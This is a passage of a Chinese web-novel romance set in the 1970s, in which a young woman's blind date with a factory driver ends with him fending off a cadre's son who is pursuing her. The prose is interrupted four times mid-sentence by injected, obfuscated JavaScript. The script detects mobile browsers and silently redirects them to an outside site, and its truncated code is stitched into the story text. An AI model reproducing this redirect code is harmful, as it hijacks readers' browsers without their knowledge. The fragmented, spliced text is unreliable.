听到这话,金桂花更警惕了:“你哪家的啊?” “红卫机械厂的!”钱英爽快地回答。 金桂花半信半疑,但还是让人进了院门。 也不怪金桂花表现出这样一副态度。 主要是这几天也有媒人上门,但全都是那个林祥安请来的,都被金桂花挥着扫帚赶走了。 钱英倒是没在意金桂花的态度。 来之前,她是已经打听过了纪家的情况的。 自从上次杜长喜跟她说霍执对一个女同志感兴趣之后,钱英就对这事上了心。 得知这个女同志已经在和别人相亲了,她还遗憾不已。 但到底没忍住,想知道霍执这小子到底对哪类女同志感兴趣,于是就去打听了一下。 结果就根据杜长喜提供的信息,一路打听到了林祥安那里。 顺带着也知道了林祥安和纪夏的事情。 金桂花也没瞒钱英,开门见山地就和她说了林祥安的事。 毕竟这事也瞒不住,先把事情说清楚,要是他们家也觉得林家势大招架不住,也不用白费这一趟功夫。 “你放心,别人怕他们林家,我可不怕!”钱英很有底气地说。 至于霍执那臭小子,更是个天不怕地不怕的。 钱英对林祥安的做法十分嗤之以鼻。 觉得这简直是个仗势欺人的纨绔子弟。 人家女同志不愿意和你处对象,怎么还能不要脸强求呢! 竟然还凭着家里的权势欺压人! 不过任凭他市委权力再大,没个正经由头,也管不到他们厂头上。 再不济,她老伴转业前的那些战友们都还在呢,惹急了她直接一状告上去,看看谁有理!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072170|163260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 金桂花直接被钱英的语气惊到。 这才想起来她刚刚好像说自己是红卫机械厂的? 等等,红卫机械厂! 那不是在市里一向以神秘居称的军工厂吗! 普通人想进都进不去呢! 难怪底气这么足! 金桂花心中一动,脸上露出热情的笑容:“唉大姐,你跟我说说你侄儿什么情况?” 钱英赶忙捡着霍执的优点说了一通—— 22岁。 父母双亡,父亲生前是厂里的技术干部,有一个继母,但继母名下没孩子,平时也不怎么来往。 在部队当过几年兵,去年才转业回来,目前在机械厂的车队里工作。 每月拿到的工资和各项津贴不少。 除了孤儿这一点,金桂花越听越满意。 这么好的条件,可真是打着灯笼都找不着啊? 怎么会到现在还没找着对象啊? 该不会其他方面有什么问题吧? 比如身体方面有隐疾? 但又能当兵又能开车,身体方面应该没问题吧? 难道是相貌有点缺陷? 虽然不应该以貌取人,但要真是长得太丑了的话…… 金桂花开始纠结起来。 “对了,我还拿了张照片来。”钱英从兜里拿出一张证件照来,“不是我说,我这个侄儿相貌是真的没话说,个子也高,那可是相当俊的一个小伙子!” 金桂花赶忙往照片里看去。 顿时眼睛都直了。 相,这个亲必须得相! 钱英见状忍不住一笑。 也亏得霍执这小子长了这么一副好相貌,每回照片一拿出来,那都是无往不利的。 不然之前她哪能找到那么多小姑娘和他相亲呢! 见搞定了金桂花,钱英视线往院里扫了一圈,问道:“怎么不见你家姑娘呢?不在家啊?” 金桂花这才一拍脑门:“瞧我,进来这么久了连杯水都没倒,大姐你别介意啊!” 说完,朝屋里大声喊了一句:“夏夏,快出来给客人倒杯水!” 纪夏正在自己房里看书打发时间,她的房间是后隔出来的,在最里面的位置,相当清净,把门一关都不太能听见小院里的动静。 听到她妈大嗓门的叫唤,这才连忙走出来,给院里的一个陌生和善的老太太端了杯水。 “您喝水。”纪夏抿唇,脸上露出一个乖巧的笑容,声音也温温柔柔的。 钱英可算是见到纪夏这姑娘了。 因为在家,纪夏没编麻花辫,乌黑浓密的头发就很随意地绑在脑后,越发显得皮肤白净光洁,双眼明亮。 简直比电影里的演员都还要好看! 钱英来之前也听说这个女孩子长得很漂亮。 但没想到这么漂亮,难怪惹得那个林祥安追着不放。 钱英是个会看人的,她见纪夏虽漂亮,但眼神单纯又纯粹,一看就是个乖巧本分的好姑娘。 发生了林祥安这档子事,其实背地里说纪夏闲话的人不少。 但钱英却清楚,纪夏这姑娘只是被自己这副相貌给连累了,心下不由得对她更怜惜了几分。 霍执这臭小子,八成也是看上人家这幅长相了! 哼,臭不要脸! 钱英在心里悄悄地骂了句。 纪夏不明所以地被钱英拉着说了一会儿话。 等人走了之后,她才从金桂花的口中知道相亲的事。 纪夏:“……” 行,相就相吧! 等到钱英回到厂里,也堵住霍执说了这事。 “又给你约了个相亲对象,明天上午去电影院见个面,票都给你们买好了。”钱英一脸淡定地说。 霍执:“不去。” 钱英跟没听见一样,自顾自地继续说:“对了,那女同志你也认识,就你和长喜上次在饭店遇到的那个。” 霍执:“???” “反正我已经和那小姑娘约好了,去不去随你。”钱英把票塞到霍执的怀里,大摇大摆地走了。 霍执:“……” 4. 第 4 章 霍执拧着眉头,拿着两张电影票回了宿舍。 一边听着收音机,一边翘着腿躺在床上翻书的杜长喜听见动静,腾地一下坐起来,快速把一本残缺不全的书塞到枕头底下。 见门口出现霍执,他才松了一口气。 转眼又瞥见霍执手里的电影票,嘿嘿开口:“哟,哪来的电影票啊?” 霍执眯起眼睛,冷笑:“那天饭店的事,是你和钱婶说的?” 杜长喜感觉自己脖子一凉,缩了缩脑袋,打了个哈哈:“有这回事吗?我完全不记得了呢!” 然后又飞速转移了话题:“这电影票难道是钱婶给你的,让你和那个女同志相亲?” 霍执“呵”了一声。 “那你去不去?”杜长喜扔了书,感兴趣地问。 “不知道。”霍执走到窗边坐下,长腿往前一伸,两张电影票随手搁在旁边的桌上。 杜长喜眼珠子一转,搓了搓手,一脸期待地说:“那你要是不去,能不能换我去啊?” 好好的电影票不能浪费嘛! 他觉得那个女同志性子软软的还蛮有趣的! 而且长的是真漂亮! 霍执不去,怎么就不能让他捡个便宜呢? 虽然自己比霍执是差了那么一丢丢,但总体来说还是很优秀的好吗? 见霍执没反应,杜长喜美滋滋地就要去拿桌上那两张电影票。 结果手一伸出去,就摸了个空。 杜长喜:“……” 杜长喜看着重新被霍执盖在电影票上的骨节分明的手背,忍不住干瞪眼:“你不是不去吗!” 霍执下巴略微一收:“我说我不去了?” 杜长喜:“……” 没抢到电影票的杜长喜重新躺回床上。 他双手枕在脑后,突然想起什么又说:“对了,我听钱婶说,那个叫纪夏的女同志好像被咱们那天饭店见过的那高干子弟给缠上了,逼着人家嫁给他,我就说了,那男的就不是什么好鸟!” “唉,像这种时候,就需要我们这种正义人士出场拯救她!”杜长喜长叹一口气,面露畅想道。 杜长喜最近都沉浸在一种名为“武侠”的幻想中。 原因在于他们偶然间得到的几本残缺不全的繁体书。 作为机械厂的车队驾驶员,霍执和杜长喜外出出任务的机会不少。 这几本书便是他们有一次去到某个南方沿海城市时,在黑市里偶然得到的,据说是港城那边的流行书,内容讲的好像是什么武侠世界。 这年代的禁书不少,港城那边来的更是“禁中之禁”。 虽然这两年政策宽松了一些,也不怎么会有人来各种“抄家”了,但杜长喜他们也只敢在几个信得过的兄弟中传阅。 虽然几本书都是没头没尾的,但他们依旧看得如痴如醉,沉迷在书中世界里不可自拔,幻想着自己也如那些书中大侠们一样,仗剑走天涯! …… 翌日。 早上九点,杜长喜从上铺探出一颗脑袋,看见霍执还在,忍不住问了句:“不去了?那不如我——” 霍执:“……” 他板着脸将电影票塞进衬衫的口袋里。 “让你装!”杜长喜小声吐槽一句,随后想起来什么提醒道,“昨天去问了,今天三队有辆吉普空着,你要不要用?” 作为车队的驾驶员,还是有点特权的,比如厂里空着的车可以开出去,只需要打个申请就行。 霍执没说用也没说不用。 厂长家二楼,钱英正靠着窗,端着茶杯。 看着楼下主干道驶出去的军绿色吉普车,她眯着眼惬意地抿了口茶。 哟,还是开着车出去的呢! …… 这天是周末,一星期难得的一天休息日。 贴着手绘海报的电影院门口,人山人海,都是趁着休息过来看电影的人们。 约好的看电影时间是十点半。 纪夏提前十五分钟来到了电影院门口。 夏季十点多的太阳已经有些毒辣,晒到皮肤上火辣辣的。 纪夏抬手遮了遮晒到她脑门上的太阳,一边用眼睛往电影院门口扫视了一圈,并没发现那个疑似自己相亲对象的人。 于是只好找了个阴凉处等着。 面朝着马路,她看见不远处的柏油路边停了辆军绿色的吉普车。 车子后视镜的阳光下锃亮,闪闪发着光。 不少人往那个方向看去。 正猜测着里面是谁,就见驾驶座的车门突然被推开。 先是一双大长腿迈出来,接着走出一个高大的男人。 他穿着时下最简单的白衬衫黑裤子,明明很普通穿在他身上却显得他肩宽腿长,高大挺拔,带着一种说不出来的气质。 男人似是没看到周围众多的目光。 他“砰”地一声关上车门,随后朝纪夏的方向走来。 纪夏看着走到自己面前的男人,觉得有些眼熟。 男人在她面前停下,低头看她。 他脸上的轮廓英气,眼型狭长,瞳孔颜色也有点深,看人的时候显得有几分认真。 就这么盯着她看了几秒,随后薄唇轻启:“纪夏?” 纪夏脑袋里灵光一闪,终于才反应过来:“你就是那个霍霍霍——” 完蛋,突然忘记他叫什么了…… 纪夏有些惭愧,因为觉得这次相亲大概率也会和前几次差不多,她也就没太上心,以至于出现如此尴尬的一幕。 霍执扯了扯嘴角,淡淡开口:“霍执。” 对,霍执! 纪夏默默记住了这个名字。 纪夏尴尬得脸颊发烫。 自己连人家名字都没记住,难怪他看起来有点不高兴。 一时无言,霍执拿出电影票,看了眼手表上的时间,下巴朝电影院一指,开口:“时间快到了,进去吧。” 语气没什么情绪,甚至听上去有点凶。 纪夏下意识抖了一下。 也不敢继续惹怒他,只好乖乖点头:“好。” 两人一起往电影院走去,因为不太熟,中间的距离隔了能有两个人那么宽。 然而刚进去,就碰见上一场结束出来的观众们。 原本就不大的过道瞬间变得拥挤起来。 纪夏感觉自己快要被挤成碎片了。 好在一只手及时拽住了她,并将她往墙边推了下。 “在这等着。”霍执松开她,转过身,高大的身躯挡在她前面。 纪夏只觉得刚刚被他捏过的手臂隐隐作痛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072171|163260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她悄悄揉了揉用另一只手揉了揉,只觉得他的手劲真的很大。 希望回去后,那块皮肤不会留下什么痕迹。 上次在复兴面店,她被人拉开,结果晚上洗澡时,才发现自己后腰处青了好大一块,胳膊上被扯过的地方也有浅浅的淤青。 思及此,纪夏突然想起自己刚刚为什么觉得霍执眼熟了。 抬头看了一眼霍执,纪夏越看越觉得他好像就是复兴面店里的那个男人? 霍执则不动声色地搓了搓自己的手指。 指腹上还残留着她皮肤的滑腻触感,心里觉得有些纳闷,怎么会有人皮肤能软成这样,真怕一不小心给捏坏了。 往外走的人终于散的差不多了。 两人往放映厅里走去。 电影还没开始,厅内灯光昏暗,空气中弥漫着瓜子味和香烟味,大家呼朋引伴,聊天声此起彼伏。 纪夏和霍执找了座位坐下。 纪夏越看越觉得霍执就是复兴面店的那个男人。 于是忍不住用视线悄悄打量他。 只见微弱的光线里,他姿态放松靠着木制座椅坐着,长腿弯曲在狭窄的前方过道,手臂则很随意搭在木制扶手上。 察觉到纪夏的视线,他突然偏头看过来。 黑暗中他眼睛深邃又敏锐,竟然让纪夏产生被某种凶猛的食肉动物盯上的错觉。 “有事?”他问。 纪夏心脏一紧,犹豫了一下,还是开口问:“我们以前是不是见过?” “嗯?”他尾音听上去有些上扬。 纪夏提醒他:“就前几天在复兴面店那里,你拉了我一把。” “哦。”他的声音淡下来。 “上次谢谢你啊。”纪夏又道了一次谢,她事后想了想,要是当时那碗面汤泼到她脸上,她真的会毁容。 “不用。” 纪夏能明显感觉他的情绪不高,有些怀疑是不是自己说错了什么。 好在电影很快开场,放映窗口出现一道白光,投射在正前方的大银幕上,整个电影院顿时也都安静了下来。 纪夏也没再说话,认认真真地看起电影来。 电影名为《春苗》,是今年刚上映的新电影。 讲述的是江南某大队妇女队长田春苗响应毛主席号召刻苦学习医学知识,成为赤脚医生为乡亲们治病的故事①。 纪夏看得真是热血沸腾,恨不得自己也能像电影里的女主角一样,去到农村里发光发热。 唉,都怪那个卫鸿哲! 还有那该死的剧情。 霍执对电影没什么兴趣。 随便看了几眼后,身体往后一靠,目光就挪到旁边的纪夏身上。 电影银幕反射出来的淡白色的光打在她的脸上,显得她的睫毛又翘又长。 她表情很是认真,脸上的表情也随着电影的发展不断地变化。 大概是看到了电影的气愤之处,她微微瞪大了双眼,一副气鼓鼓的模样。 看个电影还能把自己给看生气了。 然而生起气来也一点威慑力都没有,一眼就能让人看出来是个极好拿捏的软柿子。 反而让人更想欺负她。 果然是三岁看老,某些人就算长大了,依旧还是那么一副软趴趴的样子。 5. 第 5 章 霍执其实很早之前就认识纪夏。 那会儿霍执八九岁的样子。 因为一些事,被人揍得鼻青脸肿,一个人跑出来,面孔朝天,两只胳膊垫在脑后,躺在一个没人能找得到他的烂草垛上睡觉。 睡着睡着,突然感觉自己脸颊被什么戳了戳。 他睁开眼,就见到一个小女孩双手捂住嘴,站在他旁边,一脸好奇地俯视着他。 一脸好奇地站在他旁边盯着他看。 她长得白白嫩嫩的,头上扎了两个羊角辫,身上穿着件大大的打了补丁的棉衣。 大概是被他脸上的伤吓到了,一双乌溜溜的眼睛瞪得圆溜溜的。 霍执正烦着呢,立马凶狠地瞪向她。 她被吓得手腿并用地往后退了几步,还笨手笨脚地把自己给绊倒了。 霍执甚至有些恶劣地希望她马上哭出来。 但她只是皱了皱鼻子。 有些害怕地看他几眼,自己爬起来拍拍屁股上沾的土,犹犹豫豫地找了个不远处的角落蹲下来玩石头。 霍执颇有些自己的领地被他人入侵之感。 忍了一会儿,见她并没有要离开的意思,有点烦地朝她身边扔了个小石子:“喂,你怎么还不走?” 小女孩被飞来的石头吓了一跳,确认了一会儿才意识到霍执在和她说话,于是软软开口:“桃桃说我二哥让我在这里等他。” 霍执“嗤”了一声。 他都在这呆半天了,压根就没见到有人来过。 杜长喜就最爱用这种话骗院里的小孩。 她肯定是被人给骗了。 真蠢,连这种话也信。 果然,又不知道等了多久,依旧没有人过来。 “喂,你被人给骗了。”躺在草垛里的霍执嘴里咬着一根稻草,吊儿郎当地把一只脚翘到另一条腿的膝盖上,幸灾乐祸地说。 小女孩眨眨眼,大概是发现他没刚刚那么凶了,犹犹豫豫地凑过来,讨好地叫了声:“哥哥。” 霍执没应,抿唇心想:谁是她哥哥! 小女孩的视线忍不住一直往他的脸上瞥,犹豫了好一会儿,根本按捺不住自己的好奇心,问道:“哥哥,你的脸,疼不疼啊?” 霍执这才想到自己脸上的伤,仿佛被戳到痛脚一般,他板着脸:“关你什么事!” 话刚一说完,肚子却“咕咕”地叫了两声。 霍执脸一下子就红了,赶忙收紧肚子,想让它别再发出声音。 小女孩耳尖地听见了。 她想了想,从兜里翻出一颗皱巴巴的水果糖,自己忍不住咽了咽口水,然后大方地递过去,软软地说:“哥哥,给你吃。” 霍执本来不想接,但见她眼睛都黏在糖果上的样子,恶劣的心思一下子又浮上来。 他接过那颗皱巴巴的水果糖,故意当着她的面剥开糖纸,一把将带着体温快要融化的糖塞进了嘴里。 小女孩全程眼巴巴地看着,最后朝他露出一个软乎乎的笑容。 入口的甜蜜的糖果一瞬间好像没了滋味。 霍执突然觉得自己真幼稚。 明明也不是很想吃。 但现在也不好吐出来还给她。 大不了他过几天还她十颗,哦不,一袋好了! 霍执在心里做了决定。 正了正脸色,正要问她叫什么名字,家住在哪里,他到时候好还糖。 但还没来得及,就有人找了过来。 来人是一个比他还要大的男孩。 小女孩见到男孩,高兴地叫了声:“大哥!” “夏夏,回家了。”男孩叫了小女孩一声,顺便看了一眼霍执。 小女孩高兴地点头,跑出去两步又停住,朝霍执挥手:“哥哥我回家了,你也早点回家哦!” 霍执撇了撇嘴,重新又躺回烂草垛。 他才不要回家! …… 再一次见面已经是几年后了。 那时文/革刚开始,学校停课,工厂停工,到处贴满了大字报,满大街都是飞扬的红色旗帜,和举着大幅画像的宣传队伍。 已经上初中的霍执和杜长喜来到城里,到处走街串巷混迹其中凑热闹,加入这片狂热的“红海洋”。 在人来人往的大街上,霍执再次见到了纪夏。 她长大了几岁,依旧梳着两个羊角辫,肩上佩戴着红小兵的红袖章,跟在她们学校的队伍里面。 那时刚好遇到一只游街的队伍。 纪夏旁边的一个男孩捡起石头就往队伍前头一个脖子上挂着牌形容狼狈的男人脸上砸去。 纪夏见了,上去扯了扯男孩,认真地说:“你用石头砸人是不对的!” 男孩叉腰,翻了个白眼:“关你屁事,最高指示,要打倒一切反动势力!” “最高指示,要文斗不要武斗。”小小的纪夏纠正道。 男孩一时不知道该怎么反驳,但又不愿意服输,干脆推了一把纪夏,做了个鬼脸就自己跑走了。 看到这一幕的霍执:“……” 不愧是她。 他慢悠悠走过去把摔倒在地上的纪夏扶起来。 纪夏拍了拍在地上蹭脏的衣服,认真朝霍执道了谢:“谢谢你!” 霍执扯了扯嘴唇,想说些什么,游行队伍里却有人喊她:“纪夏,快点走了!” “来了来了。”纪夏匆匆朝霍执笑了下,就飞快地跑走了。 等到霍执再看过去,她已经消失在人群里了。 此后就一直没再遇见。 …… 两人从电影院出来,已经是两个小时之后。 霍执瞥了一眼纪夏,果然就见刚才表现在她脸上的气愤已经消失得无影无踪了。 电影院旁边就有一个供销社。 霍执想起当年没能还给她的糖,决定正好今天给她。 于是偏头对她说:“去那边看看?” 霍执的五官带着点凌厉,瞳孔颜色偏深,盯着人看时总带着几分危险气息。 纪夏本就不擅长拒绝人,被他这么一看,吓得连忙点头:“……好。” 两人一前一后走进供销社。 这间供销社的面积不小,而且因为靠近电影院,看完电影顺路过来的人并不少。 但这会儿买什么都得凭票,所以大部分人都只是看看并不买。 最热闹的还是得属布料柜台,挤满了年龄不一的女同志们。 她们对着台上摆着的崭新光亮的布料们又摸又看,热烈地讨论着这块布做什么衣服好。 柜台里面的售货员白眼都快翻上天了。 霍执目标很明确地朝某个柜台走去。 纪夏慢吞吞地跟在后面。 一眨眼就见他已经在糖果柜台那边停下了,见她还没跟上,不由得眉头轻蹙。 纪夏:“……” 她加快脚步走过去。 “你喜欢吃哪种?”霍执瞥了眼柜台里摆着的糖果问道。 纪夏刚开始没反应过来,见霍执还等着她回答,便想到男女双方相亲的话,男同志给女同志买一颗糖也是很正常的行为。 “这个吧。”纪夏伸出手指,指了指一款橘子味水果糖。 霍执便对柜台里的售货员说:“这个称一斤。” 售货员愣住:“一斤?” 糖果虽然不需要票,但是价格却贵得很。 拿猪肉来对比吧,一斤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072172|163260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肉的价格是七毛八,但柜台里最便宜的水果糖一斤却得要一块二! 所以大部分人都是偶尔才买一两颗解解馋。 一分钱一颗,负担也不算重。 只有在逢年过节的时候,才会咬牙称个半斤一斤的。 霍执张口就是一斤,也不怪售货员如此惊讶。 得到确认后,售货员没再多说什么,而是开始麻利地称重,同时目露羡慕地对纪夏说:“同志,你对象对你可真大方!” 纪夏此时已经尴尬地想找条地缝钻进去了。 她本来以为霍执是要给她买糖,但在听到他说要一斤时,立马就意识到是自己自作多情了。 又听见售货员这样说,她着急地连忙摆手否认:“我们不是……” 售货员麻利地把称好的糖果用纸袋包好,顺便用绳子打了个结。 趁着霍执付钱时,她悄悄对纪夏说:“小同志,听姐的一句劝,你一定要拿下这个男同志!” 长得这么俊俏,身材也好,出手还大方! 可真是打着灯笼也找不着的好对象! 纪夏:“……” 等等,这是她想拿下就能拿下的吗? 她怎么不知道自己还有这本事? 更何况,纪夏确定,霍执压根就没看上她! 因为和纪夏之前见过的几个相亲对象比起来,霍执简直寡言得可怕。 甚至连看都不怎么看她,偶尔几次看过来的眼神也很淡。 完全就是没看上自己的表现啊。 售货员声音很小,霍执并没听见她说的话。 一斤糖果看着并不少,霍执本来想直接把糖给纪夏,但看着她弱不禁风的样子,决定还是自己先拿着,等会儿再给她就是。 …… 与此同时,市委大院家属区那边,林祥安收到了线人传来的消息。 得知纪夏竟然去相亲了,林祥安立马坐不住了。 到底是哪个不长眼的,他话都放出去了,竟然还敢动他的人! “祥安,你上哪去啊!”林母见儿子这副模样,暗道不好。 “上电影院堵人!”林祥安气势汹汹地出了门。 林母一猜就知道和纪夏有关,连忙追了上去:“祥安,你给我站住!” 一边追,一边在心里怪起了纪夏。 小小年纪的,竟然这么会勾引人! 自家儿子能看上她,已经是她的幸运了,没想到她竟然还拒绝,可真是不太抬举! 偏偏自家儿子也是个没出息的,被迷得晕头转向的,还不肯放手了! 这些天不知道让院里人看了多少笑话。 林母那是半点都不想让纪夏进门的,她现在就只盼望着这个纪夏早点找个人嫁了,或者滚到乡下去,别再来勾引她儿子了! 林祥安步子迈得快,林母很快便有些追不上了。 刚好碰见从外面回来的卫鸿哲,林母一下子像抓住救星一样,抓住他的胳膊,一边喘气一边说:“鸿哲啊,你赶紧追上祥安,千万别让他闯祸了!” 卫鸿哲本不想趟这趟浑水,但林母都这么说了,他也不好拒绝,只能答应了下来。 林母见卫鸿哲跟了上去,稍稍放心了一些。 同时心里嘀咕道:同是儿子,怎么卫鸿哲就这么省心呢! 要是卫鸿哲也看上那个纪夏就好了,或者看上个门不当户不对的女孩子也行,到时候看卫母还怎么得意! 同一个大院里住着,丈夫级别也差不多,林母和卫母虽然表面和谐,其实背地里没少较劲。 现在林母因为林祥安丢了面子,心里别提有多不爽了! 所以心里难免暗戳戳地盼望着卫鸿哲也犯点错才好。 6. 第 6 章 因着林母的嘱托,卫鸿哲很快便追上了林祥安。 林祥安见到卫鸿哲,立马警惕道:“你跟着我干什么?” 纪夏长这么漂亮,要是被卫鸿哲看见,他也上心了那可怎么办? 林祥安从小和卫鸿哲比到大,还是有几分自知之明的。 而且他家世和自己不相上下,相貌身高却比他略胜一筹。 自己和他比根本就没有优势。 纪夏要是也看上他…… 林祥安危机感蹭蹭蹭地往上冒。 “你妈让我跟过来的。”卫鸿哲回答。 林祥安暗恨他妈真是多事。 好在他突然想到,卫鸿哲好像马上就要去插队了,想必这时候也不会考虑结婚的事,又暂时把心放回了肚子里。 “对了,你插队的时间定了吗?”林祥安又问。 “下个月。” “哦,那说不定能赶得上我结婚。”林祥安特意强调,“不过没关系,你等会儿应该能见到你的未来弟妹!” 卫鸿哲闻言看了林祥安一眼。 听懂了他话里的暗示—— 林祥安这是在怕他和他抢人? 卫鸿哲觉得挺好笑的。 真以为自己随便什么人都看得上吗? 而且他好像听说,林祥安看上的那个女同志拒绝他了,他现在对人家死缠烂打。 两人各怀心思,很快便来到了电影院门口。 今天本就是一周难得的休息日,电影票也相当紧俏,提前几天就销售一空。 林祥安没有票,着急的四处张望,没看见纪夏,就想直接闯进电影院里面去找人。 电影院的工作人员拦着不让进。 双方发生了一番肢体冲突,引起了不少人围观。 纪夏和霍执正好从供销社里出来,听到了从电影院那边传来的喧闹。 纪夏朝那边看了一眼。 这一看可不得了。 好家伙! 林祥安和卫鸿哲! 这两人竟然凑到一起去了! 纪夏大惊失色,连忙扯了扯霍执:“我们快走吧。” 情急之下,她没注意到,自己直接抓住了他的手。 霍执却难以忽视手臂上温热的触感,他垂眸看了一眼,只见她白皙纤细的手指抓在他偏深色的手臂上,看起来有种难以言说的冲击力。 但还没等他们离开,林祥安已经眼尖看到了他们。 他当即大声喊了下纪夏的名字,随即怒气冲冲地朝他们跑过来。 纪夏头疼地往霍执身后躲了躲。 霍执配合地挡在她前面,扫了一眼林祥安,问她:“复兴面店的那个?” “嗯。”纪夏丧气点头。 看到纪夏竟然和霍执如此亲密,林祥安快气炸了,一脸怒容地看着霍执。 卫鸿哲跟在后面。 倒是真有点好奇林祥安看上的人到底是什么模样,竟然能把他迷成这样。 然而那个女同志的大半个身体都被站在她前面的高大男人给挡住了。 只能瞧见她穿着件浅绿色格纹粗布短袖衫,脖颈白皙修长,下身是一条剪裁肥大的黑色粗布裤,风一吹便显出纤细匀称的身材,以及袖子下面露出来的一双素净细长的手臂格外醒目。 即使被挡住了脸,也知道绝对是个美人。 站在纪夏面前的男人也不遑多让。 高大笔直的身躯,轮廓深刻,眼神锐利,举手投足从容不迫。 一看就知道不是什么普通人。 和林祥安比起来真是高下立现。 霍执也眯着眼睛看了林祥安和卫鸿哲一眼,目露凌厉,像是山野里凶狠的狼,竟让林祥安莫名有些胆颤,生生止住了步伐。 他定睛一看,发现这个男人竟然比起卫鸿哲也不遑多让,甚至比后者还要更打眼几分! 林祥安羞恼万分,心里不由得更加恼怒。 用自家的背景给自己壮了壮胆,一双小眼瞪向霍执:“你谁啊?” “你有事?”霍执不急不缓地说。 “谁让你来和她相亲的?”林祥安不客气地说。 “关你屁事。”霍执难得正眼扫了林祥安一眼,缓缓吐出几个字。 “你知道我是谁吗?”林祥安气急,“我爸可是……” “哦,所以呢?”霍执抬了抬眼皮,懒洋洋地反问。 林祥安:“……” 这让他还怎么接! 躲在霍执身后的纪夏听到这话,也忍不住瞪大了双眼。 类似的场景,同样也在纪夏之前的相亲对象那里发生过。 那几人得知林祥安父亲的身份时,无不脸色大变,恨不得立马就跟她划清界限。 只有霍执,依旧是一副天不怕地不怕的样子。 压根不把林祥安放在眼里,仿佛他是什么跳梁小丑。 纪夏一下子对霍执肃然起敬。 “你你你——”林祥安也是第一次遇见霍执得知自己的身份后,还不把自己放在眼里,一下子气得说不出话来。 林祥安行事从来都是狐假虎威,只需要暗示一下自己的身份,一切就会畅通无阻。 遇到霍执这样的,他还真拿对方没什么办法。 气急之下,林祥安上前一步,想把霍执身后的纪夏给揪出来。 然而刚伸出手,手腕就被另一只强壮的手拦住。 “你他妈——”林祥安气得骂脏话。 然而下一秒,就听见自己手腕传来“咔嚓”一声,林祥安随之爆发出杀猪一般的叫声。 “嘴巴和手都放干净点。”霍执扯了扯嘴角。 面露嫌弃地收回自己的手,霍执偏头对身后的纪夏说:“走不走?” 纪夏如蒙大赦,连忙点头,忙不迭地跟上他。 察觉到卫鸿哲投来的若有似无的探究般的视线,纪夏下意识躲了躲。 霍执扫了她一眼,只觉得她胆子比猫还小。 便直接将人塞进了路边吉普车里。 自己绕到驾驶座那边,对着复杂的仪表盘操作一番,发动机轰鸣,车子成功启动。 问了纪夏的家在哪后,霍执转了转方向盘,往她家的方向驶去。 林祥安痛得脑门冒汗,但也只能垂着无力的手腕,眼睁睁看着那辆军绿色的吉普扬尘而去。 “那男的什么来头?”林祥安咬牙问。 竟然能摸上方向盘,背景必定不会太简单,毕竟这年头可不是谁都能开车的。 林祥安一直也想让家里给自己安排一个能开车的工作,然而他们单位持有车辆的配额人员早就满了。 这些人里要么同是干部子弟,要么是部队转业回来的汽车兵。 林祥安挤不掉别人,也就一直没能如愿。 现在看到霍执竟然开着自己梦寐以求的汽车,又是嫉妒又是愤怒。 卫鸿哲向来比林祥安有见识,他盯了车牌几秒,想了想说:“好像是三一三厂的。” 林祥安:“……” 三一三厂啊?这下坏了,好像还真不是他能随随便便拿捏的! …… 虎口脱险,纪夏依旧惊魂未定。 不过她还是努力理了理目前的情况。 于是再一次被自己现在前有狼后有虎的境况暴击。 留在城里,有林祥安虎视眈眈。 插队下乡,有卫鸿哲这条豺狼。 光是想想就觉得窒息。 嫁给林祥安这个选项依旧排除。 先不说他现在这样以势压人的追求手段惹人厌恶,就说闹成现在这个样子,林家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072173|163260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那边恐怕早就对自己有意见了。 他们绝对不会认为自家儿子有什么不对,只会觉得全是纪夏的错。 真要嫁过去了,以后绝对不会有什么好日子过。 而且林家和卫家离那么近,难保两家不会有什么牵扯。纪夏现在对卫家避如蛇蝎,只想离他们越远越好。 要么就嫁给其他人。 城里有林祥安从中作梗,估计是没希望了。 就算是有人愿意娶她,但他的家里人会愿意自家儿子为了娶她,得罪市里的大人物吗? 别到时候嫁过去了也弄得家宅不宁。 嫁到农村去也是同理。 要么就干脆下乡得了。 可要是下乡的话,纪夏也不能确保自己一定能避开卫鸿哲…… 好像无论选哪个都是死路一条。 